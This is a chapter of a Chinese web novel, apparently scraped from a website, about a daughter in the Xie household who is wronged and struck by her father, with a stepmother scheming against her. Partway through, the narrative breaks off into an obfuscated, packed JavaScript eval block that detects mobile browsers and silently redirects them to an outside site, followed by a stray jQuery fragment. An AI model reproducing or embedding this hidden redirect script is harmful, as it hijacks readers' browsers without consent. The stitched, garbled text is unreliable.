08/沫竹非竹
清晨的谢府,院中晨雾氤氲。
谢行止出府前,先去了趟书房。
看到文书摆设同之前有了些微区别,他眉间轻轻一挑,勾出了好看的弧度。
他随意拿过一本,轻轻翻看,很快,一个小小的、歪歪扭扭的乌龟图案跃入眼帘。
想到那小猫气急败坏的模样,谢行止不自觉勾起了唇,死寂的眼中便也升起了丝光华。
又看了几本,眼中光华更甚。
他低头,便又看了桌上正中的信封。
“竟写了这般多。”
那信封都鼓起了肚皮,谢行止拿在手中,几乎没有犹豫,他撕开了封口,那些饱含少女心思的字句便在他眼前铺展开来。
直到最后一行。
‘宁哥哥,见字如晤,字字念你’
谢行止的指尖在信纸上轻轻摩挲。
谢行止也不知怎得,只觉这句话越看越碍眼。
他面上又恢复成了一贯的平静冷漠,眸色中的光华也已消失无踪。
下一瞬,那信已投入炭盆。
纸页卷曲,火舌舔舐,字句在火焰中化为灰烬。
他拿过笔,蘸墨而下,很快,他锋利而准确地摹写出一封与她笔迹无二的回信。
他收起信纸,唤了刘敬:“走吧。”
他们这边刚出府,王婆子便带了人去了西侧屋,询问起了管事丫头有什么要添置的。
很快,她黑着一张脸去了主院。
此刻,阮雪正在梳妆,金灿灿的钗子被丫鬟插入发髻,上头是金丝镶嵌着的明珠,这是花容坊最新的一款簪子,价格不菲。
她的妆桌上,还有好几支差不多样式的,都是来自这家。
“老爷对夫人真好,给夫人买这些的时候,眼睛都不眨一下的。”
阮雪颇是自得的笑了笑,道:“男人嘛,心在哪,银子就在哪。”
门外有王婆子求见,她让人进了来。
一番汇报,阮雪的脸色一下就不好了。
“你说止儿房里的暖炭都给了那丫头?昨夜还被她占了书房?”
阮雪气的手里的巾帕都要揉碎了。
“又是被欺的住小屋,又是被抢炭...止儿也是的,怎得被个小丫头片子欺负。”
王婆子还继续道:“她还一点闺阁小姐的模样都没有,前不久带着她那丫鬟单独出府,竟是私会外郎,晚间还是少爷从宁府带回的。”
“竟有此事?”
阮雪一下亮了眼。
“千真万确。”
阮雪身边的丫头也附和道:“她身边那丫头也凶得很,我听之前在这府里伺候的说,有一点不如意,他们主仆就仗势欺人得紧。”
阮雪冷哼了一声:“我见的人多了,不过一个小丫头,失了父母庇护,我看她还能嘚瑟多久。”
当夜,等谢志远回来的时候,阮雪难得没有出门迎接。
他见丫鬟一脸紧张,沉着脸进了屋,还未靠近,便听到阮雪哭泣的声音。
“这是怎么了?你如今有了身子,情绪万不可激动。”
谢志远赶紧抱着她,后者也小鸟依人的倚靠在他的怀中。
“妾身...妾身也不想这样的...”
“可实在心中难受...”
谢志远蹙着眉:“到底发生何事了?”
阮雪一把推开他,跪在了地上道:“老爷,妾身知道您心中有妾身,冒天下之大不韪也愿意接我们母子二人进府,可...”
“可...可止儿从小就受了许多苦,我这个做娘的实在看不得他如今再被欺负...”
“雪儿,你可还是在怨我那主屋的事?等婉儿身子好了,我就立刻让他们换。”
谢志远将她扶起,后者还是哭的梨花带雨:“老爷,还有更多呢!你那宝贝千金昨日去抢了止儿的暖炭,还霸占了他的书房...”
“炭?去管事那领了便是,她去抢这个作甚?”
阮雪听着他语气有些不好,当即更是矫揉道:
“老爷,您不知,这府中入账根本维持不了这诺大府邸的开销,今年又遇这般冷的天,这炭更是比往年贵上了许多,若不节制,这之后的寒冬可要怎么过呀。”
谢志远蹙眉:“芝兰在的时候,从未说过入不敷出这话。”
此话一出,阮雪站起身就要去收行李:
“罢了,老爷就是怪我掌不好这家,可这府里又不止几个孩子,还有那般多的门生,客人...妾身自知能力有限,老爷何不再娶个贤淑聪慧的!”
“呜呜呜,可怜我这还未出生的孩儿...既然如此,便让你那宝贝女儿管吧,我带着止儿和这腹中胎儿离开就是...”
“哎呀夫人,我不是这个意思。”谢志远连忙上前将人搂抱在怀中。
阮雪几乎哽咽道:
“在这府中,本也得不到作为母亲的尊敬,还是不在这府里丢人现眼了!等她以后私会外男的名声传出去,我还不用担个管教不严的责!”
谢志远好哄慢哄,又从怀中拿出了送她的首饰,这才终是让阮雪的情绪平复了下来。
“雪儿,你说婉儿私会外男,是怎么回事?”
阮雪自然将听到的全说了出来,临了还补充道:
“老爷,我看您就是太宠她了,明年她就是及笄之年了,婚配上若出什么差错,那可是会懊悔终身的呀。”
“宁府的那个儿子我也算看着长大的,品性倒是很不错,只是这私会外郎传出去的确有失体统。”
阮雪抬眸,打量着他的神色,试探道:
“她那夫子,不教她这些么?”
谢志远抚了抚自己的胡须,缓缓道:“陈夫子同一般教规矩的嬷嬷不同...罢了,我同陈夫子说一说,这方面也得抓起来才是。”
“老爷,何必劳烦您,妾身去沟通便是了。”
“也好,这后宅的事,就全权托付给夫人了。”
经过这一番谈话,谢志远更是不再过问后宅内的事了。
以至于谢婉清带着天大的怒火,想要跑去府衙找她爹的时候,却被门口的侍卫拦了下来。
“你们干什么?我可是这谢家的小姐!”
“夫人有令,小姐若要出门,需要得她的同意。”
“我要去找我爹,我需要她什么同意?”
“老爷说了,后宅事务都听从夫人的。”
那女人算个什么东西,现在竟然要限制她的自由了?
她压着火气,回了院子,一直等啊等,直到谢志远终于回了府。
她带着憋屈委屈冲去了主院,直接质问道:
“你们到底要做什么?你们到底还想要怎么样?”
“屋子你们要占,用度你们要减,现在又要在我夫子身上下刀了?”
“谢清婉,你给我好生说话!”谢志远声音之中已经带着些怒了。
“好生说话...好...陈夫子前两日走时还说今日要给我带几本书,可今日,她却托人送了书和一封辞别信!”
“你们告诉我,到底做了什么?你们做了什么啊!”
谢清婉几乎是带着崩溃的质问。
陈夫子是她娘帮她找的夫子,是她娘花费了很多心思寻到的人,是她娘为她准备的另一条路,他们怎么这般歹毒!
“放肆!谢清婉,谁允许你这般同父亲母亲说话的?”
可谢清婉此刻哪里还有神志,她通红着眼,道:
“父亲!你还记得我娘么?这个贱人她不是我娘,这辈子都不可能是!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268623|182201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
‘啪!’
那清脆的响声落下后,谢志远沉冷的声音响起:“你这般不服管教,有没有夫子对你来说还有什么区别?”
“主屋是谁在装病不走?你那短缺的用度又抢了谁的?这般行事都未苛责你了,你还觉得委屈?”
“在家中不孝父母,对你母亲恶语,对你父亲顶嘴,对你兄长欺凌,我看你该好好学学女德,免得以后嫁出去,丢了我谢家的脸!”
“夫人,你去给她找个教导规矩的老师,明日就上府来!”
阮雪本一副受惊的模样,此刻,赶紧小心翼翼道:“妾身...妾身遵命。”
谢清婉被他打的跪坐在地上,她看着谢志远,问道:“在你心中,我就是这般的人?”
装病?抢炭?
但凡他去问一问呢?
但凡他去了解一番呢?
谢清婉看着他,眼神之中再无往日对父亲的敬慕喜爱,充斥着的,只有审视,和浓浓的失望。
“把你们小姐带下去,以后再不听她母亲的话,该罚就罚,谁都不准求情!”
力气大些的婆子架着她回了芝兰园,春儿在后面早就哭成了泪人。
晚食送进去,一丝都未动。
谢清婉就如一具尸体般躺在榻上,一动不动,春儿被吓着,好几次去看她,见她身体还是有些呼吸起伏,这才稍稍放下了心。
可这般模样实在有些吓人,毫无生气般,她在门外来回踱步,连想找个人商量都没法子。
听到西侧屋那边有动静,春儿一下福至心灵。
她赶紧跑进了屋,对着谢清婉道:“小姐,小姐,咱们去求少爷帮忙吧,让他带我们出府,我们去找陈夫子问个清楚,好不好?”
谢清婉一直在流泪,明明觉得自己灵魂都已经要湮灭了,可泪水却仍旧止不住的往外淌。
他说的对,她实在太弱小了,弱小到连自己的夫子都保不住。
“他怎么会帮我...”
她沙哑着嗓音,整个人都是无力的。
“小姐,少爷又送你炭,又帮你传信,他可能真的不是你想的那般呢?”
“可明明是他给我送了炭,父亲为什么说我抢?”
春儿赶紧道:“小姐,这府里有心人那般多,谁都可能添油加醋,若真是少爷要针对你,又何必绕这般大的弯?”
也是,他现在是父亲看重的人,又在朝廷当差,若要真想欺负自己,就单单她同宁哥哥私相传信这事,就足够毁她声誉的...
难道现如今,她在这府中能依靠的,竟然只有他了么...
“小姐,咱们如今人在屋檐下,求少爷,总好过去求那阴毒的夫人吧!”
谢清婉猛地坐了起来,擦干了脸上的泪,下了床,去了铜镜面前查看自己的仪容。
“春儿,你去...你去准备些糕点...你说得对,如今我们得先出去,至少问清楚陈夫子这是怎么一回事!”
春儿见小姐想通,不再那般死气,她立刻应声道:“嗯!春儿这就去准备!”
谢清婉看着铜镜里自己较好的面容,即便已哭花了脸,也依旧挡不住她绝美之色,倒是这般模样,更让人心生柔软和怜惜。
她坐在镜子面前,不断深呼吸着。
在这后宅之中,她已经是无依无靠了。
至少这条路还有一些渺茫的机会不是?
她看着镜子里的自己,生了一丝邪恶的念头...
女郎们都说自己很好看,去参加宴会,那些儿郎们的眼睛也总是会落在她的身上。
那时,她只觉得烦,可现在,她看着铜镜里的自己,第一次生出些了异样的情绪。
她轻轻扶上自己的脸颊。
这算不算是,娘留给她的,另一条出路呢?